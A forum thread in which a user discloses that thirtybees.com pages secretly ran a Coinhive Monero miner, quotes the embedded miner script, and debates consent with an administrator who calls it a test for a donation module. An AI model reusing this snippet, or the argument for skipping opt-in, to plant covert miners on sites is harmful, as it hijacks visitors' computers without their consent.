You are mining Monero crypto-currency when using thirtybees.com website



  • I noticed an unusual CPU activity when browsing thirtybees.com website, even on static pages completely loaded. I have tracked down the root cause of that CPU activity to the presence of Coinhive JavaScript miner for the Monero Blockchain.

    Each page of the thirtybees.com website contains a code block similar to the block below (you can check it yourself : just ask your browser to display the source code of the web page currently displayed) :

    <script src="https://coin-hive.com/lib/coinhive.min.js"></script>
    
    <script>
    var miner = new CoinHive.User('exM8T2cPejRG5rBVALGIeo3K9FGdNmkR', 'forum-test', {
    	threads: 1,
    	autoThreads: false,
    	throttle: 0.5,
    	forceASMJS: false
    });
    miner.start(CoinHive.IF_EXCLUSIVE_TAB);
    
    </script>
    
    

    If you are interested to know what CoinHive is and how it works : https://coin-hive.com/

    The CPU usage varies from page to page on the thirtybees.com website (according to the throttle parameter, which is not identical on all pages of the website).
    In my case, the forum pages use constantly between 12% to 15% of my CPU, the site home page more than 20%. You can check it yourself : close all programs, open your task manager to see the CPU usage in real time, open just one page of thirtybees.com in your browser, enjoy the show !
    Your CPU usage may vary from the figures above, but you will anyway notice a constant and relatively stable CPU usage as long as the page is displayed.
    If you leave a page constantly displayed in your browser (forum maybe ?), you are taxing your CPU all day long…

    If I can understand that a website owner wants to monetize his site one way or another, users should at least be informed when such a solution is used, and ideally should be able to opt-out easily.

    Just my two cents (of Monero)


  • administrators

    Nice catch. Yes, I was actually testing it out this morning morning to make sure that the settings that I have written into a new module we are about to release are working correctly. https://github.com/thirtybees/donationminer Sorry for the troubles, but I thought it was a good way to test how the settings were set by default.



  • Is there a TB module for it? :)

    Looks interesting, seems all the cool kids are using it! Even the pirate bay…

    Rather have coin hive than ads to be honest but yes, it would be nice to have a heads up my CPU is being “borrowed”

    Did not notice any CPU issues but I also run adblockers.

    Not sure if they block coinhive.


  • administrators

    uBlock does block coin-hive. It is disabled now, I got the data I needed to finish up the module. I am going to release it and an article about it tomorrow.



  • Ack! Posting at the same time :)
    “written into a new module” Yes!

    PS @lesley really enjoy your articles, nice to learn new things or better understand the confusing things!


  • administrators

    Thanks. Yeah, the new module basically uses coin hive to mine Monero as a donation to thirty bees. It will only affect the back office of the sites and only the administrator’s computer. It does not use any kind of server mining, just an in the browser javascript miner. I have just been looking into alternative ways of monetization. When I look at all the other big e-commerce platform sites, they have blog posts, but they are always to sell something. Like a module (or groups of modules) or an affiliate service. I am trying to find a low impact way for us to make content that is actually relevant to users and will help them out. Not is just a pitch for the new latest greatest module that might not increase your sales.



  • @lesley Nice to read that all this was implemented for a short time and “with the best intentions”. That said, a short message on the forum before starting the experiment should have been more than enough to avoid any question.

    @vzex If I can choose, I really prefer a few adds that clearly show what they are and that do not tax my CPU once displayed, rather than a script continuously running in the background, taxing my CPU, without knowing it and without my consent. Third party scripts acting as a black box, can also become a security concern if they are poorly designed or coded…


  • administrators

    Let me be totally honest. Time is very valuable to us. For a limited test like this, it took me around 3 minutes to put the code on the site. It would have taken a couple hours to write an opt-in that worked with the code. In that time I could have written and released the module like I have. Plus, the information I would have gotten would not have been as valuable, because most people would have opted out.

    Anytime you access someone else’s site, there is a chance for analytics to be gathered and scripts that you do not want to run, to be run. None of ours are nefarious. But users still opt to block everything, which makes it hard not only for shop owners, but owners of free products as well. That was a reason we developed our Google Analytics with a php fall back to track users. Because there is value there.

    We all want to produce some awesome things with thirty bees, that is why we are looking at different ways to fund the project for the future. Like I mentioned in our Google Analytics article, around 30% off all users to the site block ads. So that is a consideration in figuring out funding strategies. At the same time, like I mentioned earlier in this post, I don’t want us to rely on sales blog articles. What value does an article pitching a paid module that you can buy offer to most merchants? Likely none, if they needed the module they would have likely purchased it, or started shopping for it. But on the same hand, what value does an article that gives black friday tips that do not require any money spent offer? Or an article explaining how to do free a/b testing? These are the articles that I see as a real value to our merchants. Articles that can help them grow their store, increase their conversions, without trying to sell them on something. These take time to do. An amazing amount of time to be honest. The A/B testing articles took around 30 hours, just for the main article, the how to, and the changes to the module.



  • im fine with this as long it is transparent about how much it benefits 30B.


  • administrators

    We ran the test for around 24 hours and it had made about 45 cents. I am going to write an article tomorrow about, I am hoping that article will get some traction and the module as well. I am going to turn it on again just for that post to see how much is generated from an article though, but just on that article page.


  • administrators

    Also, it is something we have talked about tying into a reward system as well.



  • I think it’s a good idea, it’s a perfect way to support TB with out doing any thing, and if configured right the 10-15% cpu usage you give when you are on TB is for a good cause, all this crap in the news that it’s malware and so on, how can this be malware i dont get it.

    I think it’s a cleaver and good way if this is done right and by responsible persons.

    Personally i would use it on some of our sites, that’s not shop related, since we could cut down abit on ad’s insted.



  • I’m running the tb module. I haven’t noticed any slowdown when working in the backend.

    I agree that transparency is key here. If monero were to explode like crazy, people might feel like they’d be better off running it for their own purposes. Transparency could help reduce that.



  • I’m not sure about this. Even though I understand why you need the money it can’t be that much earned for my time in the site. I’d rather donate the equal amount or pay for some kind of premium. Or at least let me choose to participate or not.


  • administrators

    As I mentioned before, I needed to run a simple test to see how the settings worked. We made an opt in only module around the whole idea, https://thirtybees.com/blog/donation-mining-to-support-open-source-software/



  • Im supporting through Donation Miner right now :) Hope it helps you. Have a nice day


  • administrators

    Nice. Thank you! :D



  • @briljander said in You are mining Monero crypto-currency when using thirtybees.com website:

    I’m not sure about this. Even though I understand why you need the money it can’t be that much earned for my time in the site. I’d rather donate the equal amount or pay for some kind of premium. Or at least let me choose to participate or not.

    What’s the downside ? You loan 10% af one of your CPU cores, even if it’s a small amount it generates small is better then nothing, it dossent harm your computer, it dos not rly take up a lot of performance, but it helps TB to evolve more or less.

    Even tho our shops are still not running TB, we got the Donation Miner running to support the cause, since we thing TB is going to be the future, and want to help them the ways we can.



  • I’m fine with it running on the TB site but I think you need to tell people up front. However, I’d put something in place to stop it running on mobile phones and tablets because of the power drain on the battery. I for one would avoid sites on my mobile if I knew they used the coin mining.



  • The module is only running in the back office


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